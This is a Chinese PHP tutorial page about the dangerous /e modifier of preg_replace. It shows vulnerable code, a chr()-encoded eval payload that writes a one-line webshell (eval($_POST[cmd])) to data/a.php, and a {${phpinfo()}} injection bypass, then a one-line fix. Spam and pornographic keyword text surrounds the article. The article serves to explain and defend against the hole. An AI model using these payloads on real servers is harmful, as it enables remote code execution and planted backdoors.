国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

服務(wù)器之家:專注于服務(wù)器技術(shù)及軟件下載分享
分類導(dǎo)航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術(shù)|正則表達(dá)式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務(wù)器之家 - 編程語言 - PHP教程 - 慎用preg_replace危險(xiǎn)的/e修飾符(一句話后門常用)

慎用preg_replace危險(xiǎn)的/e修飾符(一句話后門常用)

2020-04-19 14:10PHP教程網(wǎng) PHP教程

要確保 replacement 構(gòu)成一個(gè)合法的 PHP 代碼字符串,否則 PHP 會(huì)在報(bào)告在包含 preg_replace() 的行中出現(xiàn)語法解析錯(cuò)誤

preg_replace函數(shù)原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特別說明:
/e 修正符使 preg_replace() 將 replacement 參數(shù)當(dāng)作 PHP 代碼(在適當(dāng)?shù)哪嫦蛞锰鎿Q完之后)。提示:要確保 replacement 構(gòu)成一個(gè)合法的 PHP 代碼字符串,否則 PHP 會(huì)在報(bào)告在包含 preg_replace() 的行中出現(xiàn)語法解析錯(cuò)誤。
舉例:
 

復(fù)制代碼 代碼如下:

<?php
preg_replace ("/(</?)(w+)([^>]*>)/e",
"\1.strtoupper(\2).\3",
$html_body);
?>



這將使輸入字符串中的所有 HTML 標(biāo)記變成大寫。

安全威脅分析:
通常subject參數(shù)是由客戶端產(chǎn)生的,客戶端可能會(huì)構(gòu)造惡意的代碼,例如:

復(fù)制代碼 代碼如下:

<?
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>



如果我們提交?h=phpinfo(),phpinfo()將會(huì)被執(zhí)行(使用/e修飾符,preg_replace會(huì)將 replacement 參數(shù)當(dāng)作 PHP 代碼執(zhí)行)。
如果我們提交下面的代碼會(huì)怎么樣呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文對應(yīng)的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
執(zhí)行的結(jié)果是在/data/目錄下生成一個(gè)一句話木馬文件 a.php。

再來一個(gè)有難度的例子:

復(fù)制代碼 代碼如下:

<?
function test($str)
{
}
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
?>



提交 ?h=[php]phpinfo()[/php],phpinfo()會(huì)被執(zhí)行嗎?
肯定不會(huì)。因?yàn)榻?jīng)過正則匹配后, replacement 參數(shù)變?yōu)?#39;test("phpinfo")',此時(shí)phpinfo僅是被當(dāng)做一個(gè)字符串參數(shù)了。
有沒有辦法讓它執(zhí)行呢?


當(dāng)然有。在這里我們?nèi)绻峤?h=[php]{${phpinfo()}}[/php],phpinfo()就會(huì)被執(zhí)行。為什么呢?
在php中,雙引號里面如果包含有變量,php解釋器會(huì)將其替換為變量解釋后的結(jié)果;單引號中的變量不會(huì)被處理。
注意:雙引號中的函數(shù)不會(huì)被執(zhí)行和替換。

在這里我們需要通過{${}}構(gòu)造出了一個(gè)特殊的變量,'test("{${phpinfo()}}")',達(dá)到讓函數(shù)被執(zhí)行的效果(${phpinfo()}會(huì)被解釋執(zhí)行)。
可以先做如下測試:

復(fù)制代碼 代碼如下:

echo "{${phpinfo()}}";



phpinfo會(huì)被成功執(zhí)行了。

如何防范這種漏洞呢?
將'test("\1")' 修改為"test('\1')",這樣‘${phpinfo()}'就會(huì)被當(dāng)做一個(gè)普通的字符串處理(單引號中的變量不會(huì)被處理)。

 

延伸 · 閱讀

精彩推薦
Weibo Article 1 Weibo Article 2 Weibo Article 3 Weibo Article 4 Weibo Article 5 Weibo Article 6 Weibo Article 7 Weibo Article 8 Weibo Article 9 Weibo Article 10 Weibo Article 11 Weibo Article 12 Weibo Article 13 Weibo Article 14 Weibo Article 15 Weibo Article 16 Weibo Article 17 Weibo Article 18 Weibo Article 19 Weibo Article 20 Weibo Article 21 Weibo Article 22 Weibo Article 23 Weibo Article 24 Weibo Article 25 Weibo Article 26 Weibo Article 27 Weibo Article 28 Weibo Article 29 Weibo Article 30 Weibo Article 31 Weibo Article 32 Weibo Article 33 Weibo Article 34 Weibo Article 35 Weibo Article 36 Weibo Article 37 Weibo Article 38 Weibo Article 39 Weibo Article 40
主站蜘蛛池模板: 五月激情综合网 | 超碰成人免费 | 国产免费一区二区三区 | 成人免费网站 | 天堂av一区二区 | 九九综合 | 欧美精品久久久 | 欧美区亚洲区 | 欧美日韩成人一区 | 毛片大片| a免费视频| 日本午夜视频 | 中文久久| 国产在线看片 | 91精品国产91久久久久久 | www.国产一区 | 成人aaa| 成人国产免费视频 | 综合久久久 | 成人高清网站 | 亚洲欧美成人a毛片 | 久久久久久国产精品 | 国产精品网站在线观看 | 精品久久久久久久久久久下田 | 亚洲怡红院在线观看 | 天天夜操 | 亚洲在线视频一区二区 | 一级色网站 | 亚洲人一区二区 | 日韩精品一区二区三区四区五区 | 九九久久精品 | 色综合久久一区二区三区 | 成人免费在线视频 | 香蕉国产精品 | 天堂一区二区三区在线 | 亚洲第一成人在线 | 日本精品在线观看视频 | 欧美激情精品久久久久久 | 国产伦精品一区二区三区四区视频 | 国产二区视频 | 91精品国产一区二区 |